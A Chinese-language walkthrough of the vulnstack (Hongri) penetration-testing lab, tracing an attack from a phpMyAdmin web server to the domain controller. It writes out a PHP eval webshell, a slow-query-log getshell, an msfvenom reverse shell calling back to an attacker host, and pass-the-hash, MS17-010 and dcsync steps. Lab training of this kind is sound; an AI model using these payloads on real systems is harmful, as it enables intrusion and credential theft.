红日靶场(vulnstack)实战复盘:从外网突破到域控的完整攻击链剖析
1. 红日靶场环境搭建与拓扑解析
红日靶场(vulnstack)是国内知名的渗透测试实战平台,模拟了真实企业网络环境中常见的漏洞场景。这个靶场特别适合想要系统学习内网渗透技术的新手,我自己第一次接触时就被它贴近实战的设计惊艳到了。靶场环境采用典型的"外网Web服务器+内网域环境"架构,完美复现了企业网络的分区隔离特点。
实验环境由四台主机组成:Windows Server 2008 R2域控制器(10.37.129.9)、Windows 7 Web服务器(双网卡配置,外网172.20.10.8/内网10.37.129.7)、Windows 10客户端(172.20.10.9)以及Kali攻击机(172.20.10.10)。这种设计模拟了真实企业DMZ区与内网隔离的场景,Web服务器作为跳板机的双网卡配置尤其值得注意——我在实际渗透测试中遇到过无数次类似的网络架构。
搭建环境时有个小技巧:建议先把所有虚拟机的防火墙关闭,避免初学时被防火墙规则干扰。Windows Server 2008需要配置为域控制器,记得安装Active Directory域服务角色。Web服务器要特别注意双网卡的配置,NAT网卡用于外网访问,Host-Only网卡用于内网通信。这个环节最容易出错的就是网卡配置顺序,我有次就搞反了导致内网不通,排查了半天才发现问题。
2. 外网Web服务器攻防实战
2.1 信息收集与漏洞发现
从外网突破是大多数渗透测试的起点。我习惯先用Nmap做全端口扫描,参数建议用-sS -T4 -A -p-,这个组合能较全面地识别服务信息。扫描Web服务器后发现开放了80端口,访问后是个phpinfo页面——这已经泄露了大量服务器配置信息,在实际项目中遇到这种情况我都会特别兴奋,因为phpinfo简直就是漏洞指南针。
用DirBuster扫描目录时,字典选择很关键。经过多次实战,我发现用common.txt配合extensions=php的组合效率最高。这次扫描发现了phpMyAdmin后台和beifen.rar备份文件,这两个发现直接为后续突破提供了突破口。备份文件下载后解压发现了网站源码,这种开发人员留下的"彩蛋"在实际渗透中屡见不鲜。
2.2 多重漏洞利用实战
phpMyAdmin的弱口令(root/root)让我直接拿到了数据库权限。尝试用SELECT ... INTO OUTFILE写Webshell时遇到了secure_file_priv限制,这是MySQL的安全机制。这时候可以尝试慢查询日志getshell,具体操作分三步:
set global slow_query_log=1; set global slow_query_log_file='C:/phpStudy/WWW/shell.php'; select '<?php @eval($_POST[cmd]);?>' or sleep(11);YXCMS的文件上传漏洞是另一个突破口。后台地址/admin通过目录扫描发现后,测试发现未过滤的上传点。上传一句话木马时要注意避开常见的黑名单关键字,我常用phtml后缀绕过:
<?php @eval($_POST['cmd']);?>用蚁剑连接Webshell后,第一件事就是收集系统信息。systeminfo查看系统版本,net user查看用户列表,ipconfig /all查看网络配置。这些基础信息决定了后续的渗透路径,比如发现是Windows 7系统就可以优先考虑MS17-010漏洞。
3. 后渗透阶段技术要点
3.1 Meterpreter会话管理
拿到Webshell后要建立更稳定的控制通道。我用msfvenom生成的反向shell payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.10 LPORT=4444 -f exe > shell.exe上传执行后,msfconsole中配置handler接收会话。几个必须掌握的meterpreter命令:
getuid查看当前权限getsystem尝试提权到SYSTEMhashdump导出密码哈希run post/windows/manage/migrate迁移到稳定进程
特别要注意的是,在32位进程中加载mimikatz可能会失败,需要先迁移到64位进程如explorer.exe。我常用ps查看进程列表,找到合适的进程后migrate PID进行迁移。
3.2 Cobalt Strike联动技巧
Cobalt Strike作为专业渗透工具,与Metasploit的联动能极大提升效率。在CS中创建HTTP监听器后,可以通过msf的payload_inject模块将会话派发给CS:
use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST CS服务器IP set LPORT CS监听端口 set DisablePayloadHandler true set SESSION 当前会话ID exploit这种联动特别适合团队协作场景,CS的图形化界面和日志功能让渗透过程更加直观。我习惯在CS中标记重要主机,用不同颜色区分权限级别,这样整个内网结构一目了然。
4. 内网横向移动实战
4.1 隧道搭建与代理配置
内网渗透的关键是建立稳定的通信隧道。Metasploit的socks4a模块简单易用:
use auxiliary/server/socks4a set SRVHOST 0.0.0.0 set SRVPORT 1080 run配置Proxychains时要注意/etc/proxychains.conf的修改:
socks4 172.20.10.10 1080测试代理是否生效可以用proxychains curl http://内网IP。对于图形化工具,我推荐Proxifier+CS的组合,配置时要注意规则设置,把需要代理的进程(如nmap、浏览器)单独设置规则,避免全局代理影响正常网络。
4.2 内网信息收集方法论
内网信息收集要讲究策略,我通常分三个阶段进行:
- 存活主机发现:用
arp-scan和MSF的udp_sweep模块 - 端口服务扫描:Proxychains+nmap组合,参数建议
-Pn -sT -T4 - 重点服务探测:针对445(SMB)、3389(RDP)、1433(MSSQL)等关键端口
MSF有很多优秀的内网扫描模块,比如:
use auxiliary/scanner/smb/smb_version set RHOSTS 172.20.10.0/24 run扫描结果要系统记录,我习惯用OneNote分门别类整理,标注可能存在漏洞的服务版本。特别要注意域控制器的识别,通过nltest /dclist:域名或者扫描389端口都能快速定位。
4.3 域渗透核心技术
拿到域管理员凭证后,psexec是最直接的横向移动方式:
psexec.exe \\目标IP -u 域名\管理员 -p 密码 cmd如果只有NTLM hash,可以用mimikatz进行Pass-the-Hash攻击:
sekurlsa::pth /user:管理员 /domain:域名 /ntlm:哈希值在红日靶场中,我通过MS17-010漏洞拿下了域控制器。实际渗透中要注意漏洞利用的稳定性, EternalBlue漏洞利用成功率与系统补丁、防火墙状态密切相关。建议先用auxiliary/scanner/smb/smb_ms17_010模块检测漏洞是否存在,再尝试利用。
最后拿到域控权限后,不要忘记提取域内所有用户的哈希。使用mimikatz的lsadump::dcsync可以导出整个域的用户凭证,这些数据对后续的渗透测试和权限维持都至关重要。整个攻击链的完成不仅需要技术能力,更需要耐心和细致的操作,每个环节都可能遇到意外情况,这时候扎实的基础知识和灵活的应变能力就显得尤为重要了。
